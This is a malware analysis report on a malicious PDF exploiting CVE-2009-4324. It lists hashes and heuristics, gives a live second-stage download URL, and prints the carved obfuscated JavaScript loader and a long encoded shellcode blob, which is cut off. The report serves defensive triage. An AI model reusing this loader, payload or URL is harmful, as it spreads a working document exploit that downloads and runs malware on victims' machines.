Malicious PDF — malware analysis report

Static analysis result for SHA-256 34ff95ece362fdf6…

MALICIOUS

PDF

21.4 KB First seen: 2026-05-10
MD5: 18d1732c0255aa599b8f4c17e151b7c5 SHA-1: c8f098c6271cb419a9c4e16d73c391a11b699e0d SHA-256: 34ff95ece362fdf615e0cc9716eab8dd59a2c917c4a8a07c81e92678bb2ae5c6
150 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gwraddkkda.in/new/post.php?e=8&& Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1E7 2221 bytes
SHA-256: c0e8b892cf5ff173c83c04efe92382c018b101fca504d1a6a2409ff7fa659c49
Detection
ClamAV: No threats found
Obfuscation or payload: likely
12 of 18 identifiers look randomly generated (e.g. 'dddsddsgdrvssafdgddddd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function dddsddsgdrvssafdgddddd(iiosooosoos)
{
if(iiosooosoos ==1/*iiosooosoos*/) return ( /*iiosooosoos*/  ""+ /*iiosooosoos*/    app["v"+"ie"/*iiosooosoos*/+""/*iiosooosoos*/+"werTy"+app.doc.URL[3]+"e"][1] /*iiosooosoos*/   );
if(iiosooosoos ==2/*iiosooosoos*/) return (  /*iiosooosoos*/ ""+  /*iiosooosoos*/   "%x".replace(/x/,"")  /*iiosooosoos*/  );
if(iiosooosoos ==3/*iiosooosoos*/) return ( /*iiosooosoos*/  ""+  /*iiosooosoos*/      "ax".replace(/x/,"") /*iiosooosoos*/);
}

var /*iiosooosoos*/tGrTpGIGTu77/*iiosooosoos*/ = /*iiosooosoos*/this/*iiosooosoos*/; /*iiosooosoos*/

var qjYyXpDodU89 =["",dddsddsgdrvssafdgddddd(1),dddsddsgdrvssafdgddddd(2),dddsddsgdrvssafdgddddd(3),"","","o","s","c","i","g","t","r","u","n","p"];
/*iiosooosoos*/

var /*iiosooosoos*/tGrTpGIGTu77z/*iiosooosoos*/ =/*iiosooosoos*/ app/*iiosooosoos*/; /*iiosooosoos*/
var JzSYNeHkqD1 = qjYyXpDodU89[1];
var yWbjcuGSIm3 = qjYyXpDodU89[2];
var CEkRCHYsuc17 = tGrTpGIGTu77[JzSYNeHkqD1+"v"+qjYyXpDodU89[3]+"l"];
var ywUpaYMZeH18 = tGrTpGIGTu77[qjYyXpDodU89[13]+qjYyXpDodU89[14]+JzSYNeHkqD1+"s"+qjYyXpDodU89[8]+qjYyXpDodU89[3]+qjYyXpDodU89[15]+JzSYNeHkqD1];


CEkRCHYsuc17("v"+qjYyXpDodU89[3]+"r CsrdEWzGvz15 = /"+qjYyXpDodU89[7]+qjYyXpDodU89[8]+qjYyXpDodU89[8]+"/"+qjYyXpDodU89[9]+qjYyXpDodU89[10]+";");

var SWNZSQXMyS10 = tGrTpGIGTu77z[/*iiosooosoos*/     "d"+qjYyXpDodU89[7-1]+qjYyXpDodU89[7+1]];

SWNZSQXMyS10[qjYyXpDodU89[7]+"yn"+qjYyXpDodU89[8]+"A"+qjYyXpDodU89[14]+qjYyXpDodU89[14]+"o"+qjYyXpDodU89[11]+"S"+qjYyXpDodU89[8]+qjYyXpDodU89[3]+"n"]();

var iRlBqyfyjW4 = SWNZSQXMyS10[qjYyXpDodU89[10]+JzSYNeHkqD1+"tAnn"+qjYyXpDodU89[6]+qjYyXpDodU89[11]+qjYyXpDodU89[7]](0);

var BtigdTszjA5 = iRlBqyfyjW4[0][qjYyXpDodU89[7]+"ubj"+JzSYNeHkqD1+qjYyXpDodU89[8]+qjYyXpDodU89[11]];

var JhWlRzgXSp6 = BtigdTszjA5/*iiosooosoos*/[qjYyXpDodU89/*iiosooosoos*/[11+1]+JzSYNeHkqD1+/*iiosooosoos*/qjYyXpDodU89[15]+"l"/*iiosooosoos*/+qjYyXpDodU89/*iiosooosoos*/[3]+qjYyXpDodU89/*iiosooosoos*/[8]+JzSYNeHkqD1]/*iiosooosoos*/(CsrdEWzGvz15,yWbjcuGSIm3);

var JBGvCxuive7=ywUpaYMZeH18(ywUpaYMZeH18(JhWlRzgXSp6));
CEkRCHYsuc17(JBGvCxuive7);

if(j){
function run(){util[vvv2](vvv, new Date());}
run();run();
try {this[vvv4][vvv3](null);} catch(e) {}
run();
}
javascript_obj0008_001.js pdf-javascript-stream PDF /JS object 8 at offset 0x209 21369 bytes
SHA-256: 03dbbbcb3ed260c64b913d15b6e82706775d60a486bb304ff835ac026e09b47f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
14 of 25 identifiers look randomly generated (e.g. 'scc25scc30scc41scc25scc37scc36scc25scc36') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function dddsddsgdrvssafdgddddd(iiosooosoos)
{
if(iiosooosoos ==1/*iiosooosoos*/) return ( /*iiosooosoos*/  ""+ /*iiosooosoos*/    app["v"+"ie"/*iiosooosoos*/+""/*iiosooosoos*/+"werTy"+app.doc.URL[3]+"e"][1] /*iiosooosoos*/   );
if(iiosooosoos ==2/*iiosooosoos*/) return (  /*iiosooosoos*/ ""+  /*iiosooosoos*/   "%x".replace(/x/,"")  /*iiosooosoos*/  );
if(iiosooosoos ==3/*iiosooosoos*/) return ( /*iiosooosoos*/  ""+  /*iiosooosoos*/      "ax".replace(/x/,"") /*iiosooosoos*/);
}

var /*iiosooosoos*/tGrTpGIGTu77/*iiosooosoos*/ = /*iiosooosoos*/this/*iiosooosoos*/; /*iiosooosoos*/

var qjYyXpDodU89 =["",dddsddsgdrvssafdgddddd(1),dddsddsgdrvssafdgddddd(2),dddsddsgdrvssafdgddddd(3),"","","o","s","c","i","g","t","r","u","n","p"];
/*iiosooosoos*/

var /*iiosooosoos*/tGrTpGIGTu77z/*iiosooosoos*/ =/*iiosooosoos*/ app/*iiosooosoos*/; /*iiosooosoos*/
var JzSYNeHkqD1 = qjYyXpDodU89[1];
var yWbjcuGSIm3 = qjYyXpDodU89[2];
var CEkRCHYsuc17 = tGrTpGIGTu77[JzSYNeHkqD1+"v"+qjYyXpDodU89[3]+"l"];
var ywUpaYMZeH18 = tGrTpGIGTu77[qjYyXpDodU89[13]+qjYyXpDodU89[14]+JzSYNeHkqD1+"s"+qjYyXpDodU89[8]+qjYyXpDodU89[3]+qjYyXpDodU89[15]+JzSYNeHkqD1];


CEkRCHYsuc17("v"+qjYyXpDodU89[3]+"r CsrdEWzGvz15 = /"+qjYyXpDodU89[7]+qjYyXpDodU89[8]+qjYyXpDodU89[8]+"/"+qjYyXpDodU89[9]+qjYyXpDodU89[10]+";");

var SWNZSQXMyS10 = tGrTpGIGTu77z[/*iiosooosoos*/     "d"+qjYyXpDodU89[7-1]+qjYyXpDodU89[7+1]];

SWNZSQXMyS10[qjYyXpDodU89[7]+"yn"+qjYyXpDodU89[8]+"A"+qjYyXpDodU89[14]+qjYyXpDodU89[14]+"o"+qjYyXpDodU89[11]+"S"+qjYyXpDodU89[8]+qjYyXpDodU89[3]+"n"]();

var iRlBqyfyjW4 = SWNZSQXMyS10[qjYyXpDodU89[10]+JzSYNeHkqD1+"tAnn"+qjYyXpDodU89[6]+qjYyXpDodU89[11]+qjYyXpDodU89[7]](0);

var BtigdTszjA5 = iRlBqyfyjW4[0][qjYyXpDodU89[7]+"ubj"+JzSYNeHkqD1+qjYyXpDodU89[8]+qjYyXpDodU89[11]];

var JhWlRzgXSp6 = BtigdTszjA5/*iiosooosoos*/[qjYyXpDodU89/*iiosooosoos*/[11+1]+JzSYNeHkqD1+/*iiosooosoos*/qjYyXpDodU89[15]+"l"/*iiosooosoos*/+qjYyXpDodU89/*iiosooosoos*/[3]+qjYyXpDodU89/*iiosooosoos*/[8]+JzSYNeHkqD1]/*iiosooosoos*/(CsrdEWzGvz15,yWbjcuGSIm3);

var JBGvCxuive7=ywUpaYMZeH18(ywUpaYMZeH18(JhWlRzgXSp6));
CEkRCHYsuc17(JBGvCxuive7);

if(j){
function run(){util[vvv2](vvv, new Date());}
run();run();
try {this[vvv4][vvv3](null);} catch(e) {}
run();
}
endstream
endobj
7 0 obj
<<
/Length 18840
>>
stream
scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc36scc31scc25scc35scc30scc25scc36scc43scc25scc37scc35scc25scc36scc37scc25scc36scc39scc25scc36scc45scc25scc37scc33scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc36scc31scc25scc37scc30scc25scc37scc30scc25scc32scc45scc25scc37scc30scc25scc36scc43scc25scc37scc35scc25scc36scc37scc25scc34scc39scc25scc36scc45scc25scc37scc33scc25scc33scc42scc25scc30scc41scc25scc36scc36scc25scc36scc46scc25scc37scc32scc25scc32scc30scc25scc32scc38scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc36scc39scc25scc33scc44scc25scc33scc30scc25scc33scc42scc25scc32scc30scc25scc36scc39scc25scc32scc30scc25scc33scc43scc25scc32scc30scc25scc36scc31scc25scc35scc30scc25scc36scc43scc25scc37scc35scc25scc36scc37scc25scc36scc39scc25scc36scc45scc25scc37scc33scc25scc32scc45scc25scc36scc43scc25scc36scc35scc25scc36scc45scc25scc36scc37scc25scc37scc34scc25scc36scc38scc25scc33scc42scc25scc32scc30scc25scc36scc39scc25scc32scc42scc25scc32scc42scc25scc32scc39scc25scc37scc42scc25scc30scc41scc25scc36scc39scc25scc36scc36scc25scc32scc30scc25scc32scc38scc25scc36scc31scc25scc35scc30scc25scc36scc43scc25scc37scc35scc25scc36scc37scc25scc36scc39scc25scc36scc45scc25scc37scc33scc25scc35scc42scc25scc36scc39scc25scc35scc44scc25scc32scc45scc25scc36scc45scc25scc36scc31scc25scc36scc44scc25scc36scc35scc25scc33scc44scc25scc33scc44scc25scc32scc32scc25scc34scc35scc25scc35scc33scc25scc36scc33scc25scc37scc32scc25scc36scc39scc25scc37scc30scc25scc37scc34scc25scc32scc32scc25scc32scc39scc25scc37scc42scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc36scc43scc25scc37scc36scc25scc33scc44scc25scc36scc31scc25scc35scc30scc25scc36scc43scc25scc37scc35scc25scc36scc37scc25scc36scc39scc25scc36scc45scc25scc37scc33scc25scc35scc42scc25scc36scc39scc25scc35scc44scc25scc32scc45scc25scc37scc36scc25scc36scc35scc25scc37scc32scc25scc37scc33scc25scc36scc39scc25scc36scc46scc25scc36scc45scc25scc33scc42scc25scc37scc44scc25scc37scc44scc25scc30scc41scc25scc36scc39scc25scc36scc36scc25scc32scc30scc25scc32scc38scc25scc32scc38scc25scc36scc43scc25scc37scc36scc25scc33scc45scc25scc33scc39scc25scc32scc39scc25scc32scc36scc25scc32scc36scc25scc32scc38scc25scc36scc43scc25scc37scc36scc25scc33scc43scc25scc33scc39scc25scc32scc45scc25scc33scc33scc25scc32scc39scc25scc32scc39scc25scc37scc42scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc36scc41scc25scc33scc44scc25scc33scc31scc25scc33scc34scc25scc33scc30scc25scc33scc30scc25scc33scc42scc25scc37scc44scc25scc32scc30scc25scc36scc35scc25scc36scc43scc25scc37scc33scc25scc36scc35scc25scc32scc30scc25scc36scc39scc25scc36scc36scc25scc32scc38scc25scc32scc38scc25scc36scc43scc25scc37scc36scc25scc33scc45scc25scc33scc38scc25scc32scc45scc25scc33scc31scc25scc33scc32scc25scc32scc39scc25scc32scc36scc25scc32scc36scc25scc32scc38scc25scc36scc43scc25scc37scc36scc25scc33scc43scc25scc33scc38scc25scc32scc45scc25scc33scc32scc25scc32scc39scc25scc32scc39scc25scc37scc42scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc36scc41scc25scc33scc44scc25scc33scc32scc25scc33scc39scc25scc33scc30scc25scc33scc30scc25scc33scc42scc25scc37scc44scc25scc36scc35scc25scc36scc43scc25scc37scc33scc25scc36scc35scc25scc37scc42scc25scc37scc44scc25scc30scc41scc25scc37scc33scc25scc33scc44scc25scc36scc45scc25scc36scc35scc25scc37scc37scc25scc32scc30scc25scc34scc31scc25scc37scc32scc25scc37scc32scc25scc36scc31scc25scc37scc39scc25scc32scc38scc25scc32scc39scc25scc33scc42scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc33scc25scc36scc38scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc32scc32scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc33scc34scc25scc34scc35scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc35scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc32scc25scc33scc33scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc33scc35scc25scc33scc37scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc33scc25scc33scc37scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc33scc36scc25scc34scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc36scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc33scc25scc33scc32scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc33scc33scc25scc34scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc34scc25scc33scc39scc25scc34scc33scc25scc33scc39scc25scc32scc35scc25scc37scc35scc25scc34scc31scc25scc34scc34scc25scc33scc34scc25scc33scc31scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc34scc32scc25scc33scc33scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc36scc25scc33scc33scc25scc33scc36scc25scc32scc35scc25scc37scc35scc25scc33scc31scc25scc33scc34scc25scc34scc32scc25scc34scc35scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc33scc38scc25scc33scc32scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc34scc25scc34scc36scc25scc33scc32scc25scc32scc35scc25scc37scc35scc25scc34scc33scc25scc33scc31scc25scc33scc30scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc34scc25scc34scc33scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc34scc31scc25scc33scc30scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc34scc32scc25scc33scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc34scc32scc25scc34scc35scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc35scc25scc34scc34scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc34scc35scc25scc34scc35scc25scc33scc37scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc34scc35scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc33scc25scc33scc32scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc36scc25scc34scc34scc25scc34scc34scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc33scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc32scc25scc33scc34scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc31scc25scc34scc33scc25scc33scc35scc25scc34scc35scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc34scc34scc25scc33scc30scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc34scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc33scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc34scc33scc25scc33scc33scc25scc34scc33scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc32scc25scc33scc37scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc34scc25scc33scc36scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc35scc25scc33scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc34scc25scc33scc32scc25scc34scc35scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc33scc25scc33scc36scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc34scc25scc33scc33scc25scc33scc30scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc34scc33scc25scc33scc33scc25scc34scc31scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc34scc35scc25scc33scc35scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc38scc25scc33scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc30scc25scc33scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc34scc33scc25scc33scc30scc25scc33scc33scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc33scc25scc33scc36scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc33scc30scc25scc33scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc33scc25scc33scc37scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc34scc25scc33scc30scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc32scc25scc33scc30scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc31scc25scc34scc33scc25scc33scc37scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc32scc25scc34scc31scc25scc34scc34scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc38scc25scc33scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc39scc25scc34scc35scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc34scc25scc33scc30scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc34scc25scc33scc33scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc34scc33scc25scc33scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc34scc25scc33scc30scc25scc33scc38scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc39scc25scc33scc35scc25scc33scc33scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc35scc25scc34scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc35scc25scc33scc34scc25scc34scc35scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc33scc38scc25scc34scc35scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc33scc38scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc34scc33scc25scc33scc38scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc33scc33scc25scc33scc30scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc33scc34scc25scc33scc32scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc33scc33scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc39scc25scc33scc35scc25scc34scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc34scc32scc25scc34scc36scc25scc33scc35scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc31scc25scc34scc31scc25scc33scc33scc25scc33scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc30scc25scc33scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc36scc25scc34scc35scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc32scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc33scc34scc25scc33scc35scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc34scc34scc25scc34scc36scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc34scc32scc25scc34scc31scc25scc33scc35scc25scc33scc32scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc34scc32scc25scc33scc33scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc33scc33scc25scc33scc35scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc34scc32scc25scc33scc35scc25scc33scc32scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc33scc33scc25scc33scc32scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc33scc30scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc34scc32scc25scc34scc36scc25scc33scc35scc25scc34scc34scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc35scc25scc33scc39scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc34scc35scc25scc33scc38scc25scc34scc31scc25scc32scc35scc25scc37scc35scc25scc33scc35scc25scc33scc33scc25scc34scc35scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc38scc25scc33scc33scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc34scc25scc34scc35scc25scc34scc33scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc34scc33scc25scc33scc38scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc32scc25scc33scc32scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc34scc34scc25scc33scc30scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc34scc35scc25scc34scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc33scc32scc25scc34scc34scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc33scc38scc25scc33scc37scc25scc33scc33scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc33scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc33scc35scc25scc33scc32scc25scc32scc35scc25scc37scc35scc25scc34scc35scc25scc33scc38scc25scc34scc34scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc34scc25scc33scc37scc25scc32scc35scc25scc37scc35scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc34scc25scc33scc36scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc30scc25scc33scc37scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc34scc36scc25scc33scc33scc25scc34scc31scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc37scc25scc33scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc32scc25scc33scc37scc25scc33scc37scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc34scc25scc33scc36scc25scc33scc31scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc32scc25scc33scc36scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc34scc25scc33scc36scc25scc34scc32scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc34scc35scc25scc33scc36scc25scc33scc31scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc35scc25scc33scc36scc25scc33scc39scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc34scc35scc25scc33scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc37scc25scc33scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc30scc25scc33scc32scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc37scc25scc33scc33scc25scc33scc36scc25scc34scc36scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc34scc35scc25scc33scc37scc25scc33scc34scc25scc32scc35scc25scc37scc35scc25scc33scc36scc25scc33scc38scc25scc33scc37scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc34scc36scc25scc33scc37scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc33scc25scc34scc34scc25scc33scc36scc25scc33scc35scc25scc32scc35scc25scc37scc35scc25scc33scc32scc25scc33scc36scc25scc33scc33scc25scc33scc38scc25scc32scc35scc25scc37scc35scc25scc33scc30scc25scc33scc30scc25scc33scc32scc25scc33scc36scc25scc32scc32scc25scc33scc42scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc33scc44scc25scc32scc32scc25scc32scc35scc25scc37scc35scc25scc33scc39scc25scc33scc30scc25scc33scc39scc25scc33scc30scc25scc32scc35scc25scc37scc35scc25scc33scc39scc25scc33scc30scc25scc33scc39scc25scc33scc30scc25scc32scc32scc25scc33scc42scc25scc30scc41scc25scc37scc33scc25scc36scc38scc25scc33scc44scc25scc37scc35scc25scc36scc45scc25scc36scc35scc25scc37scc33scc25scc36scc33scc25scc36scc31scc25scc37scc30scc25scc36scc35scc25scc32scc38scc25scc37scc33scc25scc36scc38scc25scc32scc39scc25scc33scc42scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc33scc44scc25scc37scc35scc25scc36scc45scc25scc36scc35scc25scc37scc33scc25scc36scc33scc25scc36scc31scc25scc37scc30scc25scc36scc35scc25scc32scc38scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc39scc25scc33scc42scc25scc30scc41scc25scc37scc37scc25scc36scc38scc25scc36scc39scc25scc36scc43scc25scc36scc35scc25scc32scc38scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc45scc25scc36scc43scc25scc36scc35scc25scc36scc45scc25scc36scc37scc25scc37scc34scc25scc36scc38scc25scc32scc30scc25scc33scc43scc25scc33scc44scc25scc32scc30scc25scc33scc30scc25scc37scc38scc25scc33scc38scc25scc33scc30scc25scc33scc30scc25scc33scc30scc25scc32scc39scc25scc32scc30scc25scc37scc42scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc42scc25scc33scc44scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc33scc42scc25scc37scc44scc25scc30scc41scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc33scc44scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc45scc25scc37scc33scc25scc37scc35scc25scc36scc32scc25scc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc38scc25scc33scc30scc25scc32scc43scc25scc33scc30scc25scc37scc38scc25scc33scc38scc25scc33scc30scc25scc33scc30scc25scc33scc30scc25scc32scc30scc25scc32scc44scc25scc32scc30scc25scc37scc33scc25scc36scc38scc25scc32scc45scc25scc36scc43scc25scc36scc35scc25scc36scc45scc25scc36scc37scc25scc37scc34scc25scc36scc38scc25scc32scc39scc25scc33scc42scc25scc30scc41scc25scc36scc36scc25scc36scc46scc25scc37scc32scc25scc32scc38scc25scc36scc39scc25scc33scc44scc25scc33scc30scc25scc33scc42scc25scc36scc39scc25scc33scc43scc25scc36scc41scc25scc33scc42scc25scc36scc39scc25scc32scc42scc25scc32scc42scc25scc32scc39scc25scc32scc30scc25scc37scc42scc25scc37scc33scc25scc35scc42scc25scc36scc39scc25scc35scc44scc25scc33scc44scc25s